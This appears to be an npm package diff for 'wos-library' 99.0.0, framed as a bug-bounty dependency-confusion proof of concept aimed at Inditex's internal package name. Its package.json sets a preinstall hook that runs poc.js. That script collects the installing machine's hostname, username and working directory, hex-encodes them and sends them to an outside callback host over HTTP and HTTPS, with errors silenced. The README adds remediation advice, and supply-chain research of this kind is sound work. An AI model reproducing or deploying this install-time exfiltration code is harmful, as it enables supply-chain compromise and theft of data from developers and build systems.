wos-library 99.0.0

package/README.md

@@ -0,0 +1,34 @@
+# wos-library - Security Research
+
+## Purpose
+
+This package was published as part of **authorized security research** on the [Inditex HackerOne Bug Bounty Program](https://hackerone.com/inditex).
+
+It demonstrates that the internal package name `wos-library` (used in Inditex's Warehouse Operations System) was unclaimed on the public npm registry, making it vulnerable to **dependency confusion** attacks.
+
+## What This Package Does
+
+During `preinstall`, it sends a **single DNS/HTTP callback** to a researcher-controlled server containing:
+- The package name and version
+- The hostname and username of the installing machine
+- The current working directory
+
+**No malicious actions are performed.** No data is exfiltrated beyond the above identifiers needed to prove code execution context.
+
+## If You Installed This Unexpectedly
+
+Your build system pulled this package from the public npm registry instead of your private/internal registry. This means:
+1. Your `.npmrc` or build configuration does not properly pin `wos-library` to your private registry
+2. An attacker could have published a malicious version that would execute arbitrary code in your CI/CD pipeline
+
+## Remediation
+
+- Reserve this package name on npm (transfer ownership to your organization)
+- Configure per-scope registry pinning in `.npmrc`: `@inditex:registry=https://your-private-registry/`
+- Use scoped package names for all internal packages (e.g., `@inditex/wos-library`)
+- Commit lockfiles and enable integrity checking
+
+## Contact
+
+- Researcher: sidhant (HackerOne)
+- Program: Inditex Bug Bounty (HackerOne)

package/index.js

@@ -0,0 +1,19 @@
+/**
+ * wos-library - Security Research PoC
+ *
+ * This package was published as part of authorized security research
+ * demonstrating a dependency confusion vulnerability.
+ *
+ * If this package was installed in your environment unexpectedly,
+ * it means your build system is vulnerable to dependency confusion attacks.
+ *
+ * Contact: security@inditex.com
+ * HackerOne Program: Inditex
+ */
+
+module.exports = {
+  name: 'wos-library',
+  version: '99.0.0',
+  type: 'security-research-poc',
+  message: 'This is a dependency confusion proof of concept. No malicious actions are performed. Only a DNS/HTTP callback is triggered during preinstall to prove code execution.'
+};

package/package.json

@@ -0,0 +1,16 @@
+{
+  "name": "wos-library",
+  "version": "99.0.0",
+  "description": "Security research - dependency confusion proof of concept. This package demonstrates that the name 'wos-library' was unclaimed on the public npm registry while being used internally by Inditex. If you received this package unexpectedly, please contact security@inditex.com. Author: sidhant (HackerOne researcher).",
+  "keywords": ["security-research", "dependency-confusion", "poc"],
+  "author": "sidhant <security-researcher>",
+  "license": "ISC",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/user/dependency-confusion-poc"
+  },
+  "scripts": {
+    "preinstall": "node poc.js"
+  },
+  "main": "index.js"
+}

package/poc.js

@@ -0,0 +1,42 @@
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const path = require('path');
+
+const CALLBACK_HOST = 'csytkgaubytabdgcvgljmgf8o1uj876pg.oast.fun';
+const PKG_NAME = 'wos-library';
+const PKG_VERSION = '99.0.0';
+
+function safeGet(fn) {
+  try { return fn(); } catch (e) { return 'unknown'; }
+}
+
+const data = [
+  'depconf',
+  PKG_NAME,
+  PKG_VERSION,
+  safeGet(() => os.hostname()),
+  safeGet(() => os.userInfo().username),
+  safeGet(() => path.resolve('.')),
+].join('|');
+
+const encoded = Buffer.from(data).toString('hex');
+
+const callbackUrl = `http://${encoded}.${CALLBACK_HOST}`;
+
+try {
+  const req = http.get(callbackUrl, { timeout: 5000 }, (res) => {
+    res.resume();
+  });
+  req.on('error', () => {});
+  req.on('timeout', () => req.destroy());
+} catch (e) {}
+
+try {
+  const dnsUrl = `https://${encoded}.${CALLBACK_HOST}`;
+  const req = https.get(dnsUrl, { timeout: 5000, rejectUnauthorized: false }, (res) => {
+    res.resume();
+  });
+  req.on('error', () => {});
+  req.on('timeout', () => req.destroy());
+} catch (e) {}